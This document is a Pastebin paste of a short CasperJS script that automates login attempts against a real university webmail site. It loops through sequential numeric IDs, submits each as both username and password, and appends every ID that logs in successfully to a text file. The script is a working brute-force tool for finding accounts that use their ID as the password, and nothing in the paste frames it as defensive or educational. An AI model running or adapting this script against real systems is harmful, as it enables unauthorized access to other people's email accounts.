Advertisement
pexea12

K59

Nov 29th, 2015
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var casper = require('casper').create();
  2. var fs = require('fs');
  3.  
  4.  
  5. var id = parseInt(casper.cli.args[0]);
  6.  
  7.  
  8. function search() {
  9.         casper.echo(++id);
  10.         casper.thenOpen('http://ctmail.vnu.edu.vn/webmail/src/login.php');
  11.  
  12.         casper.then(function () {
  13.             this.fillSelectors('form[action="redirect.php"]', {
  14.                 'input[name="login_username"]': id.toString(),
  15.                 'input[name="secretkey"]': id.toString(),
  16.                 'input[name="js_autodetect_results"]': 1
  17.             }, true);
  18.         });
  19.         casper.wait(1000);
  20.  
  21.         casper.then(function () {
  22.             if (this.exists('frame[name="left"]')) {
  23.                 this.echo('Found!');
  24.                 fs.write('59.txt', id.toString() + '\n', 'a');
  25.             }
  26.         });
  27. }
  28.  
  29. casper.start('http://ctmail.vnu.edu.vn/webmail/src/login.php');
  30.  
  31. casper.then(function () {
  32.     this.repeat(1000, search);
  33. });
  34.  
  35. casper.run();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement